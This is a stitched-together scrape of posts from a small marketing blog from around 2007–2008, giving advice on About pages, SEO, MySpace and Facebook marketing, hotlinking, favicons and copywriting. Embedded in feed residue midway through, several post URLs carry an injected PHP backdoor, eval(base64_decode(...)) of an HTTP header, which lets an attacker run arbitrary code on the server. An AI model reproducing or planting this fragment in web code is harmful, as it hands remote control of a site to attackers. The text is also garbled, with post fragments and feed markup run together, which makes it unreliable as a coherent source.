This seems basic, but time and again I see About Pages that are vague and make no mention of the people behind the enterprise. As a reader, I inevitably find this unsatisfying.

If potential customers are interested in your services, they generally want to know about the people in charge. Vague statements will not lead anyone to believe you are a global multinational.

Talk about your strengths, your past affiliations or your goals. Just don’t waste the opportunity to say something meaningful.

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We also believe it’s helpful to include pictures of the people discussed on the page. If it’s your company, that means a picture of you.

The trend is toward informal portraits - make sure it’s a good one. Get a professional to take your picture if possible.

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Finally, the About Page is a good place to include links to more info about you. Here are some obvious choices:

• Twitter
• Linked In
• Flickr
• YouTube

Don’t include a Facebook link unless you have an FB Page for Business. Linking to your personal profile is generally not recommended for business.

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The About Page is always one of the top destinations on any website selling goods or services. Take advantage of the opportunity to say more about yourself to interested readers.

Examples:

Goodtree & Co/About
Mike Jaquish/About
Automattic/About

THE BACKGROUND

Reassuringly, Andrew pointed out that search engine optimization is:

• Not Rocket Science or Voodoo
• Not Free Traffic
• Not “Set It and Forget It”

Too true. Managing search is like caring for a useful pet, perhaps a sheep dog. You want to herd the audience to your content. Andrew called it a “funnel to capture intent.” His metaphor is probably better.

THE 3 PILLARS OF SEARCH

Many pundits try to explain the quantum mechanics of search, but Andrew’s summation seems as good as any. Ranking in search rests on three pillars:

1. Accessibility - Can the search engines find you?
2. Relevance - Who related is your content to a particular search?
3. Credibility - How can the search engines tell if you are an expert?

ACCESSIBILITY

Andrew touted the benefits of Sitemaps to create visibility for search engines. These are not the site maps that viewers may use to find pages on your website. Sitemaps (capital “S”) are code documents that index all your content and provide instructions for search engines.

Andrew noted that many tools exist online to help you generate Sitemaps including Google Webmaster, Yahoo Site Explorer and Sitemaps.org.

RELEVANCE

Want to boost relevance - take a look at the stats for your website or blog. What are the entry keywords - that is, what did people search for that led them to you?

Focus your content on the keywords and concepts most dear to your audience. Use your keywords liberally - in links, headlines, body copy and elsewhere.

Write for humans, not search robots, and you will also keep the audience you attract.

CREDIBILITY

Links from other websites to your content, also called incoming links, build cred with the search ‘bots. One sure fire method to build incoming links to to circulate your content widely.

For example, we’ll repost this blog on ActiveRain, the portal for real estate professionals. We also use Feedburner and other services to notify all the search engines when we post and distribute the content to blog aggregators everywhere.

Finally, Andrew mentioned another of our favorite things: deploying an AddThis button on web pages and blog posts. AddThis and other social buttons give your audience a wealth of ways to share and save your content, including bookmarks, email, Facebook and Twitter.

All this enables more sharing of your content and more external links back to you.

SLIDE SHOW PRESENTATION

Andrew conveniently included his slides in an online slideshow.

WordCamp is great for bloggers of all stripes. Thanks to Matt Walters for organizing WCRVA.

Look for more details soon about WordCamp RDU for folks in the Triangle area of North Carolina.

First of all, you don’t need a myspace account or a myspace profile to advertise. Even if you have a profile, you need to create a separate account for advertising.

Ads can be targeted by geography, gender, age and interest.

As well, MySpace ads offer interesting stats, just what you’d expect from a Google company. But maybe the best feature is Build an Ad:

Build an Ad has an easy-to-use interface that offers a lot of creative options. You can build a box ad or a banner. Use a pre-made template or upload a picture. Size, scale and color your fonts. Experienced designers and novices will like this feature.

AUDIENCE

Finally, a word about the audience. Every social portal has it’s own vibe and character. Here’s what we think:

• MySpace is like a bar
• Facebook is like the YMCA

If your product or service targets the party crowd - 21 to 30, not married - then MySpace has a powerful new way for you to reach your elusive audience. It’s not just for brewers of beer - MySpace is a great channel for reaching young adults interested in fitness, fashion, health, culture and more.

If your audience is adults 30 and up, tune in again for our upcoming post on Facebook advertising.

]]> http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/08/29/social-networking-the-big-three-for-business/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/08/29/social-networking-the-big-three-for-business/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 29 Aug 2008 15:10:28 +0000 Hal http://goodtreecompany.com/wordpress/?p=226 There are thousands of social portals on the internet, from massively mainstream to fantastically fringe. But lately, three social networks have emerged as must-haves for business people in a Web 2.0 world.

From start-ups to superstars in five years, social networking on the internet has swept across the planet, embracing the youngest users (teens) and washing upward like a tide. The tide has finally reached the baby boomers.

Last year, adults started watching YouTube in large numbers. This year, Facebook has surged since it opened it’s ranks to everyone. And Linked In, which was always about business, has added some significant new features that will advance it strongly into the future.

Every business has a story to tell and web video is the most powerful, persuasive way to tell it. YouTube is far and away the preeminent channel for serving and sharing video online.

It started as a network for students. It’s had its share of controversy. But in 2008, adults have been joining Facebook in a stampede. Reasons why FB is a must-have for business:

1. More wholesome than MySpace - FB feels like a giant picnic for family and friends. MySpace feels like a bar.
2. Real Names, Real Friends - With its emphasis on real names, FB lets you re-connect with your real-world friends, relatives and colleagues. These are people who already know you and trust you.

While not as mature as the first two, Linked In has become a very popular network for renewing business connections. It’s skewed toward people with longer careers - they tend to have more connections, recommendations and better resumes than younger workers. Today, LI rolled out some huge new enhancements to Linked In Groups. More about LI’s new features next week.

Participating in social networks increases the reach of your personal and professional message. It raises your rankings in search. But it’s also a time consuming process.

That’s why it’s good to see the dust settle a little, and three networks emerge as clear winners for business. Other portals have their charms, but people in business need to be on The Big Three In to stay relevant in a Web 2.0 world.

Mike Jaquish is a Realtor® in Cary, NC (full disclosure - Mike’s also our client). Recently, Mike wrote about “Free Bonus Space? Buyers Beware!” in his blog:

Lately I have bumped into a couple of Cary homes with unpermitted, sub-code finished living areas. When it is mentioned, the Listing Agents’ responses have been, “Since it isn’t counted in the square footage, the Sellers consider it ‘free bonus space.”

It is NOT “free…” More often it is ”unaffordable.”

• Does that “free bonus space” carry any guarantees on the homeowners’ electrical work, uninspected and possibly performed with a buddy and a beer or two on some forgotten weekend?
• Is there a guarantee that the HVAC unit that was tapped to heat and cool that “free” area is properly sized for the additional burden? Or will the unit struggle, fail to keep the house comfortable and fail early?
• Will the unacceptably steep stairs, without a handrail, be “free” of easily avoidable hazards that are addressed in the North Carolina Residential Building Code and in Town of Cary Inspections?
• And will the new owners be “free” of liability if some aspect of the goofy work creates personal injury? Will a homeowners’ insurance policy always cover unpermitted space issues?
• What will it cost to bring the “free bonus space” up to code, to be permitted in arrears? How much of the home will need to be torn up to satisfy Cary Permits and Inspections?
• If your Seller can’t legitimize their home, why should a Buyer take on that “free” responsibility?

The list of “free” questions goes on.

But without a doubt, that space is not “free.” Nor is it a “bonus.” It’s what can ”freely” be accepted as a “potentially devastating liability risk.”

Mike illustrates the 2 Rules of Effective Business Blogging:

1. GIVE SOMETHING OF VALUE - Mike gives expert information without asking any quid pro quo from the reader.
2. GOOD WRITING - Mike’s taken the time to craft his post into a lively, informative read.

Bonus points for brevity. Read more from Mike’s blog here.

For some time now, we’ve been saving the best Web 2.0 sites to the social bookmarking portal del.icio.us. It works like this:

1. We come upon a site we like and click on a link or icon in our browser to “post to delicious.”
2. A little window pops up and we can add notes or keywords or even rename the link (some people give their web pages unfortunate names like “home,” so we change ‘em).
3. Presto - a new link is added to our collection.

We have over 250 links; more than 40 of them are tagged “Web 2.0.” They include design sites, color sites, good examples of Web 2.0 business sites, online tools and touchstones every modern enterprise should know.

Is it really the best collection of Web 2.0 links ever? Well, we’re working on it. If you have any great sites to share, post it in the comments or email us.

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Start your own social bookmarking site and share it with others:

Del.icio.us

Web-2.0-ness is many things - design, concept, functionality, inter-connectedness. Sometimes, just looking at a few links is worth a thousand words.

Therefore, I’ve updated my Web 2.0 links on del.icio.us so you can see it all in one place.

Most of the recommended sites were familiar territory - Last.fm, Flickr and so forth. But one of the answers was Go2Web2.0, a great site that lists hundreds of great, emerging sites segregated by tags.

Dining? Design? Scrobbling? Twittering? It’s all here. Great looking site, too.

If you’re interested in Web 2.0, Go2Web2.0 is well worth a visit.

There are two main rules:

1. Don’t use all caps (FREE)
2. Don’t use multiple exclamation points (FREE!!!)

Anecdotal evidence suggests that exclamation points in general trigger some filters. As well, using “Free” as the first word in the subject line may also be vulnerable.

Thanks to Nick Usborne and others for sharing their wisdom.

See also: Great email subject line!

1. Use hotlink so your blog grabs the image from another site
2. Download the image to your own computer or server

If you said #1, go sit in the corner and wear the pointy hat.

Bandwidth Theft

Putting aside copyright protection, using a hotlink (img src=”_”) puts the bandwidth of serving a picture to your blog on someone else’s server.

This is not a big deal if the picture is some esoteric image you found in the bowels of the internet. But if the picture to which you’ve linked is popular, outside traffic (including yours) can put a major hit on the bandwidth of this other server. Bandwidth costs money.

Hotlinking, once common, is now frowned-upon in Web 2.0 blogging communities. It’s been dubbed “bandwidth theft.”

What are the penalties?

You could be flamed (nasty comments in your blog) or spammed or any number of other counter-productive counter-measures.

Using Images the Web 2.0 Way

In many popular browser, you can simply drag a picture to your desktop. Or, right click and download the image.

Upload same pic to your blog. Done!

Permission to Hotlink

Some images include permission to link. This is usually because the organization hosting the image is looking to generate buzz and is willing to pay for the bandwidth. Here’s an example from WordCamp 2007, the blog-fest this coming weekend:

Copy and paste this code, hotlinking is okay:
<a href="http://wordcamp.org/"><img src="http://2007.wordcamp.org/attendee.gif" alt="I'm going to WordCamp" border="0" /></a>

(Unfortunately, OCDC is not going to WordCamp. Maybe next year!)

But many thanks to WordPress for this good example of “permission to hotlink.” Also thanks to AltLab.

Google and other purveyors of search are notoriously secretive about how they crawl the web. But the basic parameters are well known.

1. When you first post your website, you can expect the search engines to find and index you within 4-6 weeks.
2. At the time of your initial indexing, the search engine tells itself to crawl your site again, say in another six weeks.
3. If nothing has changed, the ‘bot may instruct itself not to revisit your site for a greater period of time, say 12 weeks.

Static (unchanging) websites invite a self-fulfilling decline in search ranking.

If nothing’s changed in 12 weeks, when will the ‘bots return? 20 weeks? 24?

We offer no examples here, but one needn’t look far.

Dynamic websites (call them evolutionary or organic if you like) change and grow over time. In the B2B space, look at OR-Live, a web portal for physicians. In the B2C market, look at Gayout, an international travel & leisure site by Andre Gayout (he coined the term “nouvelle cuisine” back in the early 1970’s).

Thanks again to our friend Gary for hipping us to one more reason why all small-to-medium enterprises need to have a dynamic, Web 2.0 site.

As usual, Gino offers sound advice, summarized here:

1. Start with a strong headline.
2. Write about what you know. If it’s a gig for a corporate blog, educate yourself.
3. Keep in mind the interests of your audience and how they might find you with a Google search.
4. Include calls to actions too – think “nothing asked, nothing done.”
5. Good copywriting style means writing for “lower-literacy users.” [Hilarious, but true. We always say “Write how regular people talk.”]
6. Write in an “inverted pyramid style” with your most important content in the first one or two paragraphs.
7. Split long posts into shorter chunks. Use bullets, numbering and breakouts whenever it’s apppropriate..
8. Use strong page titles.
9. Put your main points at the beginning of sentences. This helps with scanning and saves time. [We also advocate the use of subheads to aid scanning. Face it - that’s how people read stuff on the web]
10. Use Links

Read the complete article here.

One interesting thing about Web 2.0 is dynamism, that is, easily and instantly updatable content. Many creative warriors in corporate settings are beginning to use Web 2.0 functionality as a basis for dynamic content.

From polling to videoblogs and shared calendars, a movement is afoot among forward-thinking businesses to bake some Web 2.0 goodness into their sites. The UGC all comes from their own staff (not from consumers). In effect, programs like Wordpress become a personal semantic publishing platform.

The Web 2.0 consumer sites are great (we’d like to mention one of our favorites, Last.fm).

But the real power of Web 2.0 is the democratization of content creation. We’re starting to see that in mid-cap regional businesses like Womble Carlyle and Spartanburg Radiology.

Web 2.0 is here and it’s more than just MySpace.

We got to thinking about this because, once again, Florida is in the news for bungling an election. This time, 10,000 votes weren’t counted in an election decided by a margin of 369. The reason? The ballot was confusing and apparently a high margin of voters skipped the contest in question.

Good grief.

Online copywriters and designers are well-versed in the tradecraft of creaing registration paths, sign-ups, polls, eCommerce and all manner of interactive content. Not too hard to imagine that any competant design shop could create, test and polish a friction-free ballot with very low user drop-off. Naturally, the language would be beaten into shape by a qualified online copywriter (don’t you designers even think of horning in on our patch).

Other issues most certainly surround electronic voting - security, paper printouts - even a national standard is uncertain.

Yes, our taxpayer dollars, hard at work.

But it’s 2007. We have the technology to address all of the above concerns.

So, dear election officials: outsource it. Hire Hewlett Packard, NCR and Online Copywriter (or anybody else you like as long as they are not related or a love interest). Hire Google or Paypal or eBay or Amazon. Hire Online Copywriter (did we mention that already?).

Creating an effective national electronic ballot is well-within our scope of knowledge as a nation and long overdue.

The consensus seems to be that verbs are okay in many instances as link text, even advisable in some circumstances. We officially volunteer to help update the W3C specs on the language of links.

However, our endorsement of verbs has some limitations. For example, we noticed this week that gerunds don’t seem advisable. What’s a gerund? Here’s what dictionary.com had to say:

The English -ing form of a verb when functioning as a noun, as writing in Writing is easy.

This presents some challenges for the online copywriter. We find ourselves often re-working sentences to avoid the gerund form. For example:

You can find out more by contacting us.

Not so good. This is better:

Contact us to find out more.

To sum it up about using verbs for link text:

• Verbs are fine as link text
• Avoid the gerund (-ing) form.

Keywords are nothing more than the most common terms people use to describe something. But choosing the right keyword can mean this difference between success or failure for your website.

For example, we almost called our website “interactive copywriter.” But a keyword search revealed that “interactive copywriter” was not anywhere near as popular a search string as “online copywriter.” Whew! Good thing we looked.

Keywords can be single terms or multi-word phrases (like “online copywriter”). Using a keyword tool gives you objective data about different words and phrases, an easy way to compare their popularity, helps you discover alternatives and gives you more surety about the words or phrase you choose.

We recommend the Google keyword tool for all online copywriting which involves the creation of keywords and phrases.

1. GET YOURSELF A BLOG READER ACCOUNT. There are lots of options. We recommend Bloglines. Basically, your blog reader account collects all your blogs in one convenient place.

2. SEARCH FOR BLOGS. What interests you? Gardening? Politics? French wine? Use the Search box in the upper right of your Bloglines page to find blogs that might strike your fancy.

BOOMER BLOG MYTH

Blogs have nothing to do with email. You read new posts on your browser at your blog reader (Bloglines or other).

 

 

 

3. SUBSCRIBE TO BLOGS. Read a few of the blogs that appear in your search results. Subscribe to the blogs you like (you can unsubscribe at anytime with just a click). Most blogs include a link that says something like “Subscribe to this blog.”

4. READ YOUR BLOGS. Just go to your Bloglines page anytime to see new posts. Bookmark it and stick it on your bookmark bar.

Reading blogs isn’t a chore. Search around and you’ll discover lots of great stuff you won’t find in print, on TV or the radio. Pretty soon, you’ll start thinking about starting your own blog.

But that’s a topic for another day.

Favicons (pronounced fave-IKONZ) are the tiny pics you often see preceding a web address in your browser bar. Here’s ours:

In this post , we’ll tell you how to create your own favicons– it’s so easy, you’ll wonder why you waited.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

1. First, need to create your own favicon artwork. Any graphics program will do – Photoshop, Illustrator, Fireworks, etc. The dimensions need to be 16px square. Yep, it’s small. So keep it simple.

2. Save your art according to these specs:

- Supported file formats: gif, jpg, png, and bmp.
- Use a gif or png with transparency if you require it.
- Maximum file size: 150.00 kB.

3. Now go to Dynamic Drive’s Free Favicon Generator.

Follow the instructions (browse and create icon). The generator will create a file called favicon.ico from your artwork. The generator will also create some html code for you to use on your webpage.

4. Upload your favicon.ico file to the same directory on your website as your index.

5. Add the code to your web page as instructed (just cut and paste it into the head section).

You’re done!

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Special thanks once again to Dynamic Drive for the free favicon generator.

Search was a 6 billion dollar business in 2006 and is projected to grow at 12% in 2007. Over 1/3 of all purchases of goods and services starts with an internet search. Optimizing your Home Page for natural search helps potential customers find your info on the web. In this post, we’ll tell you how to do it yourself in half an hour with basic web skills.

Briefly, search falls into two categories:

• Paid Search – this is where you bid on keywords and pay (usually) by the click
• Natural Search – also called organic search. This is where search engines (like Google, Yahoo and AOL) display your info based upon relevancy.

We’re going to focus on natural search in this post. These recommendations are based upon guidelines from Google and other search engines as well as our own experience with SEO. No fancy skills required – just basic HTML.

Here are 7 things you can do to optimize your Home Page for natural search.

1. KEYWORD SEARCH TOOL – The first thing to do is pick your keywords. There are both free and paid tools on the web that can help you research words or phrases that describe your business or service. We use the Google Keyword Tool (which is free). Decide which keywords best match your product or service. We usually pick two or three keywords and concentrate on those.

2. PAGE TITLE - Many people concentrate on the body copy or esoteric measures like keyword density, but search engines also look at the page title (<title> tag). It helps your “relevancy” score to use your main keyword in the page title.

3. HEADLINE - Search engines also pay attention to the headline or <h1> tag. The same is true for subheads <h2>. A common mistake is to use image text (i.e. a gif or jpg) for headlines, but search engines can’t index image text. Use plain text (html) or your headlines won’t be indexed.

4. BODY COPY – Now weave your keywords into the body copy. The hard part is making it sound natural.

5. META TAGS – Search engines also pay attention to Meta tags. You can find these are in the head section of the html. We recommend using both the “description” and the “keyword” meta tags.

6. AT LEAST 100 WORDS - Many search engines don’t index pages with fewer than 100 words. Some “experts” insist that longer pages perform better in search rankings. While this may be have the whiff of truth, we think over-long pages make deadly reading and ultimately turn off the audience and undermine the message.

7. USE LINKS - Linking your keywords between pages on your web site can also help your search ranking (once again by boosting relevancy).

Search is incredibly complicated and it is evolving everyday. But the recommendations listed above will bring your home page into compliance with the major search engines and lift your search ranking over time.

If you have more questions about search, please contact us.